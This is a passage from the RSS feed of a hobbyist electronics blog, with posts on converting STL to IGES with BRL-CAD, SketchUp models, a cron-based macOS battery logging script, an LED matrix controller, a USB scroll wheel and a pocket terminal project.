<div id="_mcePaste">BEASTI~1.MP3 007DD 02EC9A4 2E74</div>
<div id="_mcePaste">BEASTI~2.MP3 00899 02E93C3 2E80</div>
<div id="_mcePaste">BEASTI~3.MP3 00954 01F172F 2E8B</div>
<div id="_mcePaste">THESTR~8.MP3 009D1 03A300 2E95</div>
<div id="_mcePaste">THESTR~9.MP3 00ABA 02DC00 2E9F</div>
<div id="_mcePaste">THEST~10.MP3 00B71 02F00 2EA9</div>
<div id="_mcePaste">THEST~11.MP3 00C2D 026900 2EB4</div>
<div id="_mcePaste">05-ILE~1.MP3 00CC8 02E8C16 2EBD</div>
<div id="_mcePaste">BEASTI~4.MP3 00D83 03EF2C9 2EC8</div>
<div id="_mcePaste">Files: 18</div>
<div id="_mcePaste">1A</div>
<div id="_mcePaste">DONE</div></pre>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=87</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>STL to IGS (IGES) Conversion</title>
		<link>http://www.brokentoaster.com/blog/?p=86</link>
		<comments>http://www.brokentoaster.com/blog/?p=86#comments</comments>
		<pubDate>Sun, 06 Dec 2009 20:33:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=86</guid>
		<description><![CDATA[I&#8217;ve been trying to get my models from Sketchup into a decent file format for use with different analysis engines and for producing drawings for machining. After a week of playing about with different options I have managed to get from Sketchup files to IGES files.I used BRL-CAD to convert from .stl to its native [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been trying to get my models from Sketchup into a decent file format for use with different analysis engines and for producing drawings for machining.</p>
<p>After a week of playing about with different options I have managed to get from Sketchup files to IGES files.<br />I used BRL-CAD to convert from .stl to its native format and then exported as an .igs from there.<br />Below is a copy of the  script i used to convert a whole directory of files.</p>
<p><code><br />#!/bin/bash<br /># Convert an STL file to IGES format using BRL CAD</p>
<p>for file in *.stl<br />do<br />#   Add the -b option or binary format stl files (aoi,solid edge etc)<br /># stl-g -b ${file} ${file}.g</p>
<p># Use ascii format for exports from sketchup<br /> stl-g  ${file} ${file}.g<br />done</p>
<p>for file in *.g<br />do<br /> mkdir ${file}.d<br /> g-iges -m -o ${file}.d ${file} all<br /> cp ${file}.d/*.igs ${file}.igs<br /> rm -rf ${file}.d<br />done<br /></code></p>
<p>I did run into an issue or two along the way. When initially export as iges with the command <em>g-iges -o file.igs file.g all</em> the file produced caused every program I tried to load it with to crash with the exception of BRL-CAD which loaded it just fine. I found that when I used the <em>-m</em> option and export all regions to a directory of iges files the files worked. The STL files produced by the STL output plug-in for sketchup produces STL files in the ASCII format some programs may produce files in binary format, in which case you will need to add the <em>-b</em> option to the <em>stl-g</em> command. I had to use this when converting the STL files from the reprap project to iges files.</p>
<p>Why IGES files? Because I couldnt get STEP files. While STL files are widely supported they are mesh files that describe surfaces only. Most professional mechanical CAD packages use constructive solid geometry (CSG) techniques and don&#8217;t like mesh files so much. That&#8217;s not to say I couldn&#8217;t load STL files into these packages but the loaded part was less useful when imported from STL as compared to IGES. An IGES file allows me to measure and convert to a solid object or more easily produce drawings for a machinist to work with.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=86</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Complete 3D Model of Butterfly MP3</title>
		<link>http://www.brokentoaster.com/blog/?p=85</link>
		<comments>http://www.brokentoaster.com/blog/?p=85#comments</comments>
		<pubDate>Sun, 22 Nov 2009 18:04:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=85</guid>
		<description><![CDATA[I hope to use this data to do some stress analysis of the case design using CAE Linux and look at geting the case built using SLA or SLS techniques. The Sketchup model is at http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_and_Cases.skp]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_electronics.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_electronics.png" border="0" alt="" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_assembly.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_assembly.png" border="0" alt="" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_Case.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;;" src="http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_Case.png" border="0" alt="" /></a></p>
<p>I hope to use this data to do some stress analysis of the case design using CAE Linux and look at geting the case built using SLA or SLS techniques.</p>
<p>The Sketchup model is at http://www.brokentoaster.com/butterflymp3/photos/ButterflyMP3_and_Cases.skp</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=85</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3D Model AVR Butterfly</title>
		<link>http://www.brokentoaster.com/blog/?p=84</link>
		<comments>http://www.brokentoaster.com/blog/?p=84#comments</comments>
		<pubDate>Sat, 14 Nov 2009 14:47:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=84</guid>
		<description><![CDATA[I&#8217;ve been playing with Google SketchUp for a while as a free tool for doing electronics enclosure design (ie. MP3 Player cases). It seems quite capable although not really targeted at designs in the mm range. I think I will use a larger scale like 10:1 or 100:1 next time to see if that makes [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve been playing with Google SketchUp for a while as a free tool for doing electronics enclosure design (ie. MP3 Player cases). It seems quite capable although not really targeted at designs in the mm range. I think I will use a larger scale like 10:1 or 100:1 next time to see if that makes things easier.</p>
<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/lost/Butterfly.png" class="broken_link"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://brokentoaster.com/lost/Butterfly.png" border="0" alt="" /></a></p>
<p>Here is my first attempt at an AVR Butterfly model for use in case designs on the data logger and MP3 player. You can download in skp and stl format. To export SketchUp files as STL I have used the plugin from http://www.guitar-list.com/download-software/convert-sketchup-skp-files-dxf-or-stl</p>
<p><a href="http://Brokentoaster.com/lost/Butterfly.stl">Stereo Lithography (STL)</a><br /><a href="http://Brokentoaster.com/lost/Butterfly.skp">SketchUp (SKP)</a><br /><a href="http://Brokentoaster.com/lost/Butterfly.png">Image (PNG)</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=84</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Battery Capacity Logger MkII</title>
		<link>http://www.brokentoaster.com/blog/?p=83</link>
		<comments>http://www.brokentoaster.com/blog/?p=83#comments</comments>
		<pubDate>Sat, 14 Nov 2009 13:58:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[bash]]></category>
		<category><![CDATA[battery]]></category>
		<category><![CDATA[cron]]></category>
		<category><![CDATA[logging]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[periodic]]></category>
		<category><![CDATA[scripting]]></category>
		<category><![CDATA[terminal]]></category>
		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=83</guid>
		<description><![CDATA[A minor update to my battery logger script to tidy up the format of the log file and to make a slightly nicer (maintainable) script file.#!/bin/sh# batterylogger.sh : Log the battery capacity to a file#filename=/var/log/batterycapacity.logdate=`date`capacity=`system_profiler SPPowerDataType &#124;grep "charge capacity"`count=`system_profiler SPPowerDataType &#124;grep "Cycle count"`echo ${date} ${capacity} ${count} >> ${filename}This gives a log file output like the [...]]]></description>
				<content:encoded><![CDATA[<p>A minor update to my battery logger script to tidy up the format of the log file and to make a slightly nicer (maintainable) script file.<br /><code><br />#!/bin/sh<br /># batterylogger.sh : Log the battery capacity to a file<br />#<br />filename=/var/log/batterycapacity.log<br />date=`date`<br />capacity=`system_profiler SPPowerDataType |grep "charge capacity"`<br />count=`system_profiler SPPowerDataType |grep "Cycle count"`<br />echo ${date} ${capacity} ${count}  >> ${filename}<br /></code><br />This gives a log file output like the following <br />
<blockquote>Sat 14 Nov 2009 13:45:06 GMT Full charge capacity (mAh): 4740 Cycle count: 163</p></blockquote>
<p>To create the log file in a sensible place like <code>/var/log/</code> I did the following:<br /><code><br />sudo touch /var/log/batterycapacity.log<br />sudo chmod 666 /var/log/batterycapacity.log<br /></code><br />I&#8217;ve also switched to using periodic instead of cron as I can&#8217;t seem to get cron to work reliably. To make it work with periodic I simply place my <code>batterylogger.sh</code> script in the directory <code>/etc/periodic/daily/</code></p>
<p>NOTE: I&#8217;ve had a couple of issues lately with pasting from the web into a script file and finding i get the following error:<br /><code>No such file or directory﻿#!/bin/sh</code></p>
<p>I&#8217;ve found that this problem is due to binary characters in my text file. I think they are UTF-8 encoded characters that have slipped in from cutting and pasting. To solve this problem I use the command <code>vim -b <i>script</i></code>. This will load up the file in binary mode so I can see what funny characters have found their way into my file. After deleting the offending character or characters the script functions as expected.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=83</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Battery Capacity Logger</title>
		<link>http://www.brokentoaster.com/blog/?p=82</link>
		<comments>http://www.brokentoaster.com/blog/?p=82#comments</comments>
		<pubDate>Wed, 11 Nov 2009 21:05:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=82</guid>
		<description><![CDATA[I just replaced the battery in the 2005 ibook G4 today, great to return to the days of 4 hours of use. I decided I&#8217;d like to monitor the life of the battery and so wrote a quick cron job script to log the battery capacity every day. I also have installed this on my [...]]]></description>
				<content:encoded><![CDATA[<p>I just replaced the battery in the 2005 ibook G4 today, great to return to the days of 4 hours of use. I decided I&#8217;d like to monitor the life of the battery and so wrote a quick cron job script to log the battery capacity every day. I also have installed this on my main laptop which still gives me 3 hours after 18 months of use.
<div></div>
<div>Write the script.</div>
<div>
<div></div>
<blockquote><div><span class="Apple-style-span"  style="font-family:'courier new', serif;">#!/bin/sh</span></div>
<div><span class="Apple-style-span"  style="font-family:'courier new', serif;"># batterylogger.sh : Log battery capacity to a file</span></div>
<div><span class="Apple-style-span"  style="font-family:'courier new', serif;">#</span></div>
<div><span class="Apple-style-span"  style="font-family:'courier new';">date >> ~/batteryCapacityLog.log</span></div>
<div><span class="Apple-style-span"  style="font-family:'courier new';">system_profiler SPPowerDataType | grep &#8220;charge capacity&#8221; >> ~/batteryCapacityLog.log</span></div>
<div><span class="Apple-style-span"  style="font-family:'courier new', serif;"><br /></span></div>
<div></div>
</blockquote>
<div>Make it executable and put somewhere sensible. </div>
<div></div>
<blockquote><div><span class="Apple-style-span"  style="font-family:'courier new';">chmod 755 batterylogger.sh</span></div>
<div><span class="Apple-style-span"  style="font-family:'courier new';">cp batterylogger.sh /usr/local/bin/</span></div>
<div></div>
</blockquote>
<div></div>
<div>Make sure it is activated daily by adding the following line in crontab using <i>crontab -e </i>which will make it run at 5:10am every day. This time is chosen to not clash with other actions executing should my laptop be awake at 5am and also to ensure it run each morning when I wake the laptop up.</div>
<div></div>
<div>
<div><span class="Apple-style-span"  style="font-family:'courier new';"></span><br />
<blockquote><span class="Apple-style-span"  style="font-family:'courier new';">10<span class="Apple-style-span" style="white-space: pre;"> <span class="Apple-tab-span" style="white-space:pre"> </span></span></span><span class="Apple-style-span"  style="font-family:'courier new';">5</span><span class="Apple-tab-span" style="white-space:pre"><span class="Apple-style-span"  style="font-family:'courier new';"> </span></span><span class="Apple-style-span"  style="font-family:'courier new';">*</span><span class="Apple-tab-span" style="white-space:pre"><span class="Apple-style-span"  style="font-family:'courier new';"> </span></span><span class="Apple-style-span"  style="font-family:'courier new';">*</span><span class="Apple-tab-span" style="white-space:pre"><span class="Apple-style-span"  style="font-family:'courier new';"> </span></span><span class="Apple-style-span"  style="font-family:'courier new';">*</span><span class="Apple-tab-span" style="white-space:pre"><span class="Apple-style-span"  style="font-family:'courier new';"> </span></span><span class="Apple-style-span"  style="font-family:'courier new';">/usr/local/bin/batterylogger.sh</span></p></blockquote>
<p><span class="Apple-style-span"  style="font-family:'courier new';"></span></div>
<div></div>
<div>The format looks like the following:</div>
<div></div>
<div>
<div><span class="Apple-style-span"  style="font-family:'courier new';"></span></div>
<blockquote><div><span class="Apple-style-span"  style="font-family:'courier new';">Wed Nov 11 20:03:26 GMT 2009</span></div>
<div><span class="Apple-style-span"  style="font-family:'courier new';">          Full charge capacity (mAh): 4859</span></div>
</blockquote>
<div><span class="Apple-style-span"  style="font-family:'courier new';"></span></div>
<div> I may improve the format in the future and add some nice &#8220;gnuplot&#8221; plots but this gives me the info I want right now. For the record, the outgoing battery was showing a capacity of around 350mAh. This translates to roughly 10-15 mins of use. OS X 10.5.8</div>
<div></div>
</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=82</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The MLMC website is up.</title>
		<link>http://www.brokentoaster.com/blog/?p=81</link>
		<comments>http://www.brokentoaster.com/blog/?p=81#comments</comments>
		<pubDate>Sun, 04 Oct 2009 17:42:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=81</guid>
		<description><![CDATA[I&#8217;ve just put a new website up for the MLMC project. No new information over what has been mentioned in the previous blog post, but it is a start. With the initial page up I hope it will encourage me to publish information sooner rather than later. Of course I still need to find time [...]]]></description>
				<content:encoded><![CDATA[<p>I&#8217;ve just put a new website up for the MLMC project. No new information over what has been mentioned in the previous blog post, but it is a start. With the initial page up I hope it will encourage me to publish information sooner rather than later. Of course I still need to find time to do some actual work on the project. Next week perhaps&#8230;. You can find the site at <a href="http://brokentoaster.com/mlmc/" class="broken_link">http://brokentoaster.com/mlmc/</a>
<div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=81</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Modular LED Matrix Controller (MLMC)</title>
		<link>http://www.brokentoaster.com/blog/?p=80</link>
		<comments>http://www.brokentoaster.com/blog/?p=80#comments</comments>
		<pubDate>Fri, 18 Sep 2009 13:25:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=80</guid>
		<description><![CDATA[What is it? The MLMC is a smart daisy chain-able LED matrix module. I call it smart because a display of these can be extended without changing either the firmware on the module controller or the firmware on the display controller. Each individual module will take care of refreshing its display. When new data is [...]]]></description>
				<content:encoded><![CDATA[<p><span class="Apple-style-span"  style="  white-space: pre-wrap; font-family:'Lucida Grande';"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA9s3CNI/AAAAAAAAAB8/G3UZsv3P7q8/s1600-h/IMG_9908.JPG"><span class="Apple-style-span" style="font-size: small;"><img style=" margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA9s3CNI/AAAAAAAAAB8/G3UZsv3P7q8/s400/IMG_9908.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349378072878975186" /></span></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPBGWmRhI/AAAAAAAAACE/jX6bmmcACOE/s1600-h/IMG_9910.JPG"><span class="Apple-style-span" style="font-size: small;"><img style=" margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPBGWmRhI/AAAAAAAAACE/jX6bmmcACOE/s400/IMG_9910.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349378075201521170" /></span></a><span class="Apple-style-span" style="font-size: small;"> </span></span>
<div><span class="Apple-style-span"  style="font-family:'Lucida Grande', serif;"><span class="Apple-style-span"  style=" white-space: pre-wrap;font-size:medium;">
<div><span class="Apple-style-span" style="font-size: small;"><br /></span></div>
<div><b><span class="Apple-style-span" style="font-size: small;">What is it?</span></b></div>
<div><span class="Apple-style-span" style="font-size: small;">The MLMC is a smart daisy chain-able LED matrix module.</span></div>
<div><span class="Apple-style-span" style="font-size: small;">I call it smart because a display of these can be extended without changing either the firmware on the module controller or the firmware on the display controller. Each individual module will take care of refreshing its display.  When new data is sent old data is passed along the chain to the next module. This makes building an arbitrary length scrolling display very simple to implement.</span></div>
<div><span class="Apple-style-span" style="font-size: small;"><br /></span></div>
<div><span class="Apple-style-span" style="font-size: small;">The LED matrix is on a separate PCB so it is simple to adapt to other LED matrices without chaining the controller PCB/firmware. This means that if you were producing a number of different sized displays you could use the same controller PCB. For example for one made from a 16 by 16 LED matrices or a large one made from custom PCBs using 16 by 16 individual 10mm LEDs.</span></div>
<div><span class="Apple-style-span" style="font-size: small;"> </span></div>
<div><b><span class="Apple-style-span" style="font-size: small;">Why?</span></b></div>
<div><span class="Apple-style-span" style="font-size: small;">I liked all of the many LED matrix projects seen on the web and in Circuit Cellar magazine. To enlarge or adapt these displays would mean a redesign of firmware and hardware.</span></div>
<div><span class="Apple-style-span" style="font-size: small;"><br /></span></div>
<div><span class="Apple-style-span" style="font-size: small;">I had a small number of dense 16 by 16 matrices sitting about from my times bargain hunting in Akihabara. These are unused by any of the projects I have seen on the web and in magazines. These matrices have a strange footprint, the pin layout is a cross formation rather than two parallel rows of pins which is more commonly seen). This means work is needed to adapt existing projects to work.</span></div>
<div><span class="Apple-style-span" style="font-size: small;"><br /></span></div>
<div><span class="Apple-style-span" style="font-size: small;">If I built a system purely around the LED matrices I have then very few people could use the resulting design. I would also not be able to reuse the design once my limited supply of these matrices was consumed. By separating out the control hardware from the display hardware I am able to make a much more flexible and enduring design.</span></div>
<div><span class="Apple-style-span" style="font-size: small;"><br /></span></div>
<div><span class="Apple-style-span" style="font-size: small;">I&#8217;ve always been a fan of the 2 Line LCD displays which are common in many projects. These have a standard well known interface so it is trivial to add one to a project. I want to bring that ease of implementation to scrolling LED matrix displays as I have many projects that could all benefit from a large display.</span></div>
<div><span class="Apple-style-span" style="font-size: small;"> </span></div>
<div><b><span class="Apple-style-span" style="font-size: small;">What has been done so far?</span></b></div>
<div><span class="Apple-style-span" style="font-size: small;">A prototype 2 Layer PCB has been manufactured by Batch PCB. </span></div>
<div><span class="Apple-style-span" style="font-size: small;">Some basic screen display firmware has been written.</span></div>
<div><span class="Apple-style-span" style="font-size: small;">A system tested with 1 Bit per pixel, 16 bit columns of the display are clocked in and displayed while last word in buffer is clocked out. </span></div>
<div><span class="Apple-style-span" style="font-size: small;">Preliminary PWM brightness control has been tested but not on a pixel per pixel basis.</span></div>
<div><span class="Apple-style-span" style="font-size: small;"> </span></div>
<div><b><span class="Apple-style-span" style="font-size: small;">What needs to be done?</span></b></div>
<div><i><span class="Apple-style-span" style="font-size: small;"><br /></span></i></div>
<div><b><span class="Apple-style-span" style="font-weight: normal; font-style: italic; "><span class="Apple-style-span" style="font-size: small;">Hardware</span></span></b></div>
<div>
<ul>
<li><span class="Apple-style-span" style="font-size: small;">Move resistors ( LED module pcb)</span></li>
<li><span class="Apple-style-span" style="font-size: small;">Add decoupling caps (control module pcb)</span></li>
<li><span class="Apple-style-span" style="font-size: small;">Add local voltage regs (control module pcb)</span></li>
<li><span class="Apple-style-span" style="font-size: small;">Build more modules for testing of chaining</span></li>
<li><span class="Apple-style-span" style="font-size: small;">Build different LED Modules</span></li>
</ul>
</div>
<div><span class="Apple-style-span" style="font-size: small;"> </span></div>
<div><i><span class="Apple-style-span" style="font-size: small;">Firmware</span></i></div>
<div>
<ul>
<li><span class="Apple-style-span" style="font-size: small;">Extend from on/off pixels to brightness value</span></li>
<li><span class="Apple-style-span" style="font-size: small;">ISR response needs improving</span></li>
</ul>
</div>
<div><span class="Apple-style-span" style="font-size: small;"> </span></div>
<div><i><span class="Apple-style-span" style="font-size: small;">Software Library/Examples</span></i></div>
<div>
<ul>
<li><span class="Apple-style-span" style="font-size: small;">Arduino software is only a basic testing routine.</span></li>
</ul>
</div>
<div><span class="Apple-style-span" style="font-size: small;"><br /></span></div>
<div><span class="Apple-style-span" style="font-size: small;"> </span></div>
<div><b><span class="Apple-style-span" style="font-size: small;">What will be done?</span></b></div>
<div><span class="Apple-style-span" style="font-size: small;">To call this project finished these are the things I hope to have done.</span></div>
<div>
<ul>
<li><span class="Apple-style-span" style="font-size: small;">Release all firmware under a Creative commons License.</span></li>
<li><span class="Apple-style-span" style="font-size: small;">Release all pcb files under a Creative commons License.</span></li>
<li><span class="Apple-style-span" style="font-size: small;">Release protocols /data sheets under a Creative commons License.</span></li>
<li><span class="Apple-style-span" style="font-size: small;">Release an Arduino library to talk to a string of these under a Creative commons License.</span></li>
</ul>
</div>
<div><span class="Apple-style-span" style="font-size: small;"> </span></div>
<div><b><span class="Apple-style-span" style="font-size: small;">How Long will it take?</span></b></div>
<div><span class="Apple-style-span" style="font-size: small;">It will probably never be completed. So I hope to publish unfinished work when it is suitably unfinished whenever I remember.</span></div>
<p></span></span></div>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=80</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>USB Scroll Wheel</title>
		<link>http://www.brokentoaster.com/blog/?p=79</link>
		<comments>http://www.brokentoaster.com/blog/?p=79#comments</comments>
		<pubDate>Wed, 05 Aug 2009 18:01:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=79</guid>
		<description><![CDATA[I have been having a play with a rotary encoder this week and decided to turn it into a USB scroll wheel. I was using a very nice encoder but any standard potentiometer without the stop or a cheaper encoder would also work. The whole experience turned out be much easier than I originally thought. [...]]]></description>
				<content:encoded><![CDATA[<p>I have been having a play with a rotary encoder this week and decided to turn it into a USB scroll wheel. I was using <a href="http://uk.farnell.com/vishay-spectrol/601-1045/sensor-smart-pot/dp/3282661"> a very nice encoder </a> but any standard potentiometer without the stop or a cheaper encoder  would also work.</p>
<p>The whole experience turned out be much easier than I originally thought. To get a standalone USB device  up and running took very little effort at all.</p>
<p><b>HARDWARE</b><br />I took one of my <a href="http://stuffthingsandjunk.blogspot.com/2009/06/attiny45-usb-key.html">ATtiny45 USB-Key</a> PCBs and  hacked on a voltage divider (two 330k resistors) and some wires to my encoder (+5v, GND, Signal). The purpose of the voltage divider is to keep the sensor output (or ADC input) below the 2.56 vRef being used on the chip and also below the 3.6V being used as Vcc on the PCB.
<div>
<div>No pictures or videos yet as it is just a ball of wires.
<div>
<div><b>FIRMWARE</b><br />The firmware is based on the <a href="http://www.obdev.at/products/vusb/easylogger.html">Easy logger project from Objective Development</a>. I changed the USB HID report descriptor to reflect a mouse rather than a keyboard. I then added a bit of code to analyse the ADC reading and calculate the rotational velocity of the wheel.</div>
<div>The device is only active once you push the button. This is to stop everything going crazy when I plug in a half finished device during development. The device can be switched off again by another press of the button for the same reason.</div>
<div></div>
<div>I got pretty bored reading all the USB HID documentation so rather than figuring it all out properly, I just snooped in on my normal mouse, read the HID report descriptor and adapted the relevant parts used for it&#8217;s scroll wheel.  The software I used to snoop was &#8220;USB Prober&#8221; which is in my Utilities folder (Mac OS X 10.5).  This might be a standard issue tool or I may have installed it as part of the developer tools.  A screen-shot of grabbing this information is shown <a href="http://brokentoaster.com/usb-dial/usbprober.png">here</a>. I don&#8217;t know where or how to find out this info on windows but I&#8217;d look at Jan Axelson&#8217;s site <a href="http://www.lvr.com/development_tools.htm">here</a> as a good place to start.</div>
<div></div>
<div><b>PROBLEMS / STATUS</b></div>
<div>Even though I&#8217;ve altered <span class="Apple-style-span"  style="  color: rgb(104, 56, 33); font-family:Monaco, fantasy;">USB_CFG_HID_REPORT_DESCRIPTOR_LENGTH </span><span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;">in the code it doesn&#8217;t seemed to have effected the report descriptor on the computer. More than likely I&#8217;ve missed something somewhere but that is what you get for a quick hack.</span></div>
<div><span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"><br /></span></div>
<div><span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"><span class="Apple-style-span"  style=" ;font-family:Georgia, fantasy;">The source code to main.c is at <a href="http://brokentoaster.com/usb-dial/main.c.html">http://brokentoaster.com/usb-dial/main.c.html </a>.   I also made a couple of minor changes to the usbconfig.h file which is at <a href="http://brokentoaster.com/usb-dial/usbconfig.h.html">http://brokentoaster.com/usb-dial/usbconfig.h.html</a>. </span></span></div>
<div><span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"><br /></span></div>
<div><span class="Apple-style-span"  style="font-family:Georgia, -webkit-fantasy;"> It doesn&#8217;t work that well but it does work.  Most importantly it proves to me that I can now take any sensor I like and turn it into a computer interface device of some description&#8230; perhaps even do something usefull &#8230; one day &#8230; maybe.  <span class="Apple-style-span"  style="font-family:Georgia, fantasy;">If I ever get some presentable hardware together I&#8217;ll update with a picture or two.</span></span></div>
</div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=79</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quickcoms 2 : Pocket Term</title>
		<link>http://www.brokentoaster.com/blog/?p=78</link>
		<comments>http://www.brokentoaster.com/blog/?p=78#comments</comments>
		<pubDate>Sat, 11 Jul 2009 18:37:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=78</guid>
		<description><![CDATA[I started this project in 2006 while I was living in Japan with an idea to enter it in the 2006 AVR competition. Some things went astray with the hardware design so I dumped it in order to do five other more viable entries. The concept for the project was to take my Quickcoms Renasas [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_zYnUjlpmq30/Sj1ncbtOc5I/AAAAAAAAACU/hRaEjuaqE28/s1600-h/IMG_6977+copy.JPG"><img style=" margin:0px 10px 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://3.bp.blogspot.com/_zYnUjlpmq30/Sj1ncbtOc5I/AAAAAAAAACU/hRaEjuaqE28/s400/IMG_6977+copy.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349545670557463442" /></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_zYnUjlpmq30/Sj1ncVkr5oI/AAAAAAAAACM/5uivvuU_KDg/s1600-h/IMG_6991+copy.JPG"><img style=" margin:0px 10px 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://4.bp.blogspot.com/_zYnUjlpmq30/Sj1ncVkr5oI/AAAAAAAAACM/5uivvuU_KDg/s400/IMG_6991+copy.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349545668911031938" /></a></p>
<p>I started this project in 2006 while I was living in Japan with an idea to enter it in the <a href="http://www.circuitcellar.com/avr2006/index.htm" class="broken_link">2006 AVR competition</a>. Some things went astray with the hardware design so I dumped it in order to do <a href="http://www.circuitcellar.com/avr2006/winners/DE/DE.htm" class="broken_link">five other more viable entries</a>. The concept for the project was to take my <a href="http://brokentoaster.com/quickcoms/">Quickcoms</a> Renasas design from 2005 and develop it further from the prototype. I mostly wanted to add keyboard support so it could act as stand alone terminal in addition to just decoding serial data. I also wanted it to be the size of a deck of cards and support a LiION battery. I wanted to enlarge the LCD to get closer to 80&#215;40 chars on screen. Include support for a couple of LCDs on the PCBs to allow for a black and white low power version.</p>
<p><span style="font-weight:bold;">What went wrong ( other than trying to put the moon on a stick) ?</span></p>
<ul>
<li>I  made an assumption about the keyboard from the AVR application note that I would not have to send any data to the keyboard. Most AT keyboards will work without you sending any data back towards them  so long as you don&#8217;t wish to change the status LEDs. I bought a neat little keyboard to go with project from one of the many electronics dens around Akihabara. I wanted something small and light to throw in a toolkit without taking up all the room. <a href="http://stuffthingsandjunk.blogspot.com/2007/08/ps2-keyboard-startup.html">Unfortunately this keyboard used an obscure chipset which follows an old protocol which purposely sends a malformed packet and waits for you to send an error response.</a> With no scope or Logic analyser at the time this was a pretty big nail in this projects coffin. Although it only required a couple of small changes to the PCB and some voltage dropping resistors to configure the ATMega16 to transmit I managed to procrastinate this for two years.</li>
</ul>
<ul>
